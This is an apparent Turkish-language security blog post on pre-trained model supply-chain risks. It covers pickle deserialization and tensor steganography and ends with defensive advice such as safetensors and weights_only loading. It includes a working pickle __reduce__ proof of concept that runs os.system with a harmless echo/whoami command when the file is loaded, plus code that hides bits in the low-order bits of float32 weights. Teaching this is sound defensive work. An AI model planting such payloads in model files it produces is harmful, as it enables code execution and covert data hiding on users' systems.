Pickle, PyTorch ve Tensor Steganography
Pre-trained modeller yapay zeka geliştirme süreçlerini ciddi biçimde hızlandırıyor. Hugging Face, TensorFlow Hub veya benzeri platformlardan indirilen hazır modeller sayesinde ekipler sıfırdan eğitim maliyetine katlanmadan güçlü çözümler geliştirebiliyor. Fakat bu kolaylık, beraberinde önemli bir güvenlik sorusunu da getiriyor:
İndirdiğimiz model dosyasına gerçekten güvenebilir miyiz?
Birçok kişi model dosyalarını yalnızca “ağırlık verisi” olarak düşünür. Oysa özellikle Python ve PyTorch ekosisteminde bazı model dosyaları yalnızca veri değil, yükleme sırasında davranış üretebilecek nesneler de içerebilir. Bu noktada iki kavram öne çıkar: pickle tabanlı unsafe deserialization ve tensor steganography.
Pickle Neden Risklidir?
pickle, Python objelerini byte stream’e çevirip daha sonra tekrar Python objesine dönüştürmek için kullanılan standart serialization mekanizmasıdır. Basit veri yapıları için oldukça kullanışlıdır. Ancak güvenlik açısından kritik bir problemi vardır: pickle, yükleme sırasında objelerin yeniden nasıl oluşturulacağını tarif eden özel mekanizmalara izin verir.
Bu mekanizmalardan biri __reduce__ metodudur. Bir obje, pickle’a “beni yeniden oluşturmak için şu callable’ı şu argümanlarla çağır” diyebilir. Bu esneklik, güvenilen ortamlarda faydalı olabilir. Fakat kötü niyetli bir dosya söz konusu olduğunda aynı özellik arbitrary code execution riskine dönüşebilir.
Bu nedenle pickle dosyaları sıradan veri dosyaları gibi görülmemelidir. Güvenilmeyen bir kaynaktan gelen pickle dosyasını açmak, güvenilmeyen bir script çalıştırmaya benzer.
Bir saldırganın, model yükleme anında kurbanın sisteminde komut çalıştırabilmesi için pickle mekanizmasını nasıl manipüle edebileceğini basit bir Python betiğiyle görelim:
import pickle
import os
class MaliciousModel:
def __reduce__(self):
# Model yüklendiği anda (deserialization) çalışacak komut
# Gerçek bir saldırıda bu bir Reverse Shell veya trojan indirme betiği olabilir.
cmd = "echo '[TEHLİKE] Sisteminiz hacklendi!' && whoami"
return (os.system, (cmd,))
# Saldırgan zararlı "modeli" serileştiriyor
with open("innocent_model.pkl", "wb") as f:
pickle.dump(MaliciousModel(), f)
print("Zararlı model dosyası (innocent_model.pkl) oluşturuldu.")
# ---- KURBANIN SİSTEMİ ----
# Kurban, güvenli sandığı modeli sadece yüklüyor (herhangi bir metod çağırmıyor)
print("\nKurban modeli yüklüyor...")
with open("innocent_model.pkl", "rb") as f:
loaded_data = pickle.load(f)
Not: Kurban sadece pickle.load() işlemini gerçekleştirdiği an, modelin içindeki ağırlıkları okumaya bile fırsat bulamadan os.system tetiklenir ve saldırganın kodu işletim sisteminde çalışır.
PyTorch Model Dosyalarında Risk Nerede?
PyTorch’ta modeller genellikle torch.save ve torch.load ile kaydedilip yüklenir. Eğer modelin tamamı Python objesi olarak kaydedildiyse, yükleme sırasında pickle mekanizmaları devreye girebilir. Bu da özellikle torch.load(..., weights_only=False) gibi güvensiz kullanım senaryolarında risk oluşturur.
Daha güvenli yaklaşım, model objesinin tamamını değil, yalnızca modelin öğrenilmiş ağırlıklarını yani state_dict yapısını kaydetmektir. Bu durumda model mimarisi kod tarafında tanımlı olur, dosyadan ise sadece sayısal parametreler yüklenir.
Modern PyTorch sürümlerinde weights_only=True seçeneği bu riski azaltmak için önemlidir. Bu seçenek, yükleme sırasında kabul edilen objeleri kısıtlayarak arbitrary class veya callable yükleme riskini azaltır.
Tensor Nedir?
Bir neural network aslında büyük bir sayı koleksiyonudur. Modelin öğrendiği bilgiler, ağırlıklar ve bias değerleri olarak saklanır. Bu değerler tensor adı verilen çok boyutlu diziler içinde tutulur.
Örneğin bir fully connected layer’ın ağırlıkları 2 boyutlu bir matris olabilir. Bir convolutional layer’ın filtreleri ise 4 boyutlu tensor olarak saklanabilir. Büyük modellerde bu tensorlar milyonlarca hatta milyarlarca parametre içerebilir.
Bu büyük sayı havuzu, saldırgan açısından başka bir amaçla da kullanılabilir: gizli veri saklamak.
Tensor Steganography Nedir?
Steganography, bilginin görünmez biçimde başka bir taşıyıcının içine saklanmasıdır. Klasik örnekte bir görüntünün piksellerine gizli mesaj gömülebilir. Tensor steganography’de ise benzer fikir model ağırlıklarına uygulanır.
Bir modelin ağırlıkları genellikle floating-point sayılardan oluşur. Bu sayıların en düşük anlamlı bitleri, yani least significant bit’leri, küçük değişiklikler yapılarak gizli veri taşımak için kullanılabilir.
Buradaki amaç modelin performansını fark edilir biçimde bozmadan, parametrelerin içine veri saklamaktır. Saklanan veri bir payload olmak zorunda değildir; bir yapılandırma bilgisi, tetikleyici, küçük bir mesaj veya başka bir zararlı akışın parçası da olabilir.
Pratik Örnek: PyTorch Tensor İçine Gizli Mesaj Gömme ve Okuma
Aşağıdaki senaryoda, bir modelin ağırlık matrisindeki her bir float değerinin LSB bitine, gizli bir mesajın bitlerini tek tek enjekte ediyoruz.
import torch
def text_to_bits(text):
# Metni bit dizisine çevirir
bits = []
for char in text:
bits.extend([int(b) for b in bin(ord(char))[2:].zfill(8)])
return bits
def bits_to_text(bits):
# Bit dizisini tekrar metne çevirir
chars = []
for i in range(0, len(bits), 8):
byte = bits[i:i+8]
if len(byte) < 8: break
chars.append(chr(int("".join(map(str, byte)), 2)))
return "".join(chars)
# 1. Temiz bir model katmanı simüle edelim (Örn: 1x8 boyutunda ağırlıklar)
weights = torch.tensor([0.5, -1.2, 3.14, 0.08, -0.99, 2.5, -0.11, 1.05], dtype=torch.float32)
print("Orijinal Tensor:", weights)
# 2. Gizlemek istediğimiz veri (Örn: Gizli bir flag veya tetikleyici)
secret_msg = "A" # 'A' karakteri ASCII 65 = 01000001 bitleridir
secret_bits = text_to_bits(secret_msg)
# 3. Steganography: Bitleri tensorün LSB'lerine yazalım
# NumPy/PyTorch üzerinde bit operasyonları için float array'i integer view'e alıyoruz
int_view = weights.view(torch.int32)
for i, bit in enumerate(secret_bits):
if bit == 1:
int_view[i] |= 1 # Son biti 1 yap
else:
int_view[i] &= ~1 # Son biti 0 yap
print("Manipüle Edilmiş Tensor (Görsel olarak aynı kalır):", weights)
# 4. Veri Sızdırma / Okuma Aşaması
extracted_bits = []
extracted_int_view = weights.view(torch.int32)
for i in range(len(secret_bits)):
extracted_bits.append(int(extracted_int_view[i] & 1))
print("Çıkarılan Bitler:", extracted_bits)
print("Çıkarılan Gizli Mesaj:", bits_to_text(extracted_bits))
Float32 Yapısı ve LSB Mantığı
Float32 formatında bir sayı 32 bit ile temsil edilir:
- 1 bit sign
- 8 bit exponent
- 23 bit mantissa
Sign biti sayının pozitif mi negatif mi olduğunu belirtir. Exponent sayının ölçeğini belirler. Mantissa ise hassasiyet kısmını temsil eder.
Steganography açısından en ilginç alan mantissa’dır. Çünkü mantissa’nın en sağındaki bitler sayıya çok küçük katkı yapar. Bu bitlerde yapılan değişiklikler, sayının değerini çok az değiştirir.
Örneğin 0.15625 sayısı float32 formatında temsil edildiğinde mantissa’nın en son biti değiştirilirse sayı yaklaşık 0.156250014901161 olur. Aradaki fark yaklaşık 1.49 × 10^-8 seviyesindedir. Bu kadar küçük bir fark, birçok model ağırlığı bağlamında fark edilir bir performans bozulmasına yol açmayabilir.
Ancak mantissa’nın daha anlamlı bitleri veya exponent/sign alanları değiştirilirse sayı ciddi biçimde değişebilir. Bu da model davranışını bozabilir ve tespiti kolaylaştırabilir.
Kod Simgesi: Mantissa Değişiminin Sayısal Karşılığı
Python’ın struct kütüphanesini kullanarak, bir Float32 sayısının en sağındaki (Least Significant Bit – LSB) biti değiştirmenin değer üzerindeki mikroskobik etkisini gözlemleyelim:
import struct
def float_to_bits(f):
# Float32'yi 32-bit integer bit dizilimine çevirir
return bin(struct.unpack('!I', struct.pack('!f', f))[0])[2:].zfill(32)
def bits_to_float(b):
# 32-bit string dizilimini tekrar Float32'ye çevirir
return struct.unpack('!f', struct.pack('!I', int(b, 2)))[0]
original_weight = 0.15625
bit_representation = float_to_bits(original_weight)
print(f"Orijinal Ağırlık: {original_weight}")
print(f"Bit Dizilimi : {bit_representation}")
# LSB'yi (en sağdaki biti) 0'dan 1'e çevirelim (Steganography veri gizleme adımı)
modified_bits = bit_representation[:-1] + '1'
modified_weight = bits_to_float(modified_bits)
print(f"Değişmiş Bit : {modified_bits}")
print(f"Yeni Ağırlık : {modified_weight:.15f}")
print(f"Aralarındaki Fark: {modified_weight - original_weight:.15f}")
Savunma İçin Ne Yapılmalı?
Model dosyaları yalnızca veri dosyası olarak değil, supply chain artifact olarak ele alınmalıdır. Özellikle dış kaynaklı modeller üretim ortamına alınmadan önce güvenlik kontrolünden geçmelidir.
Temel öneriler şunlardır:
- Güvenilmeyen kaynaklardan gelen pickle tabanlı modeller yüklenmemeli.
torch.loadkullanırken mümkün olduğuncaweights_only=Truetercih edilmeli.- Modelin tamamı yerine
state_dictyükleme yaklaşımı kullanılmalı. - Mümkünse
safetensorsgibi kod çalıştırmayan formatlar tercih edilmeli. - Model dosyaları hash ve imza ile doğrulanmalı.
- Model yükleme işlemleri izole ve düşük yetkili ortamlarda yapılmalı.
- CI/CD süreçlerine model scanning kontrolleri eklenmeli.
- Üretim ortamında izin verilen model formatları net biçimde tanımlanmalı.
Çözüm: Güvenli Alternatif safetensors
Yazıda bahsettiğimiz gibi, pickle tabanlı torch.save yerine Hugging Face tarafından geliştirilen ve kesinlikle kod çalıştırma yeteneği olmayan, sadece saf veriyi (zero-copy) saklayan safetensors formatını kullanmalıyız.
# YANLIŞ VE RİSKLİ (Eski Yöntem)
# torch.save(model, "model.pt") -> Pickle kullanır, güvensizdir!
# DOĞRU VE GÜVENLİ (Modern Yaklaşım)
from safetensors.torch import save_file, load_file
import torch
# Sadece ağırlık sözlüğünü (state_dict) kaydeder
tensors = {
"embedding": torch.zeros((100, 100)),
"attention": torch.zeros((100, 100)),
}
# Güvenli formatta kaydetme
save_file(tensors, "safe_model.safetensors")
# Güvenli formatta geri yükleme (Kod çalıştırma riski SIFIRDIR)
loaded_tensors = load_file("safe_model.safetensors")
print("Model ağırlıkları tamamen güvenli bir şekilde yüklendi!")
Sonuç
Pre-trained modeller modern yapay zeka geliştirme süreçlerinin vazgeçilmez parçalarından biri haline geldi. Ancak bu dosyalar yalnızca masum ağırlık koleksiyonları olarak görülmemeli. Özellikle pickle tabanlı serialization kullanan modeller, yükleme sırasında kod çalıştırma riski taşıyabilir. Buna ek olarak tensor parametreleri, gizli veri saklamak için kullanılabilir.
Bu nedenle model güvenliği, yalnızca model accuracy veya performans testlerinden ibaret değildir. Modelin nereden geldiği, hangi formatta olduğu, nasıl yüklendiği ve üretim ortamına nasıl alındığı da güvenlik sürecinin parçası olmalıdır.
Üçüncü parti bir yapay zeka modelini projenize dahil etmek, kaynağı belirsiz bir kod kütüphanesini doğrudan production ortamına almaktan farksızdır; güvenli görünen yapay zeka modelleri, kritik supply chain atakları içerebilir.
Kaynak
HTB – AI Red Teamer
EvilModel: Hiding Malware Inside of Neural Network Models
Python Documentation — pickle: Python object serialization
PyTorch Documentation — torch.load
PyTorch Tutorials — Save and Load the Model
Hugging Face Documentation — Pickle Scanning
Hugging Face Documentation — Safetensors
SafePickle: Robust and Generic ML Detection of Malicious Pickle-based ML Models, 2026
The Art of Hide and Seek: Making Pickle-Based Model Supply Chain Poisoning Stealthy Again, 2025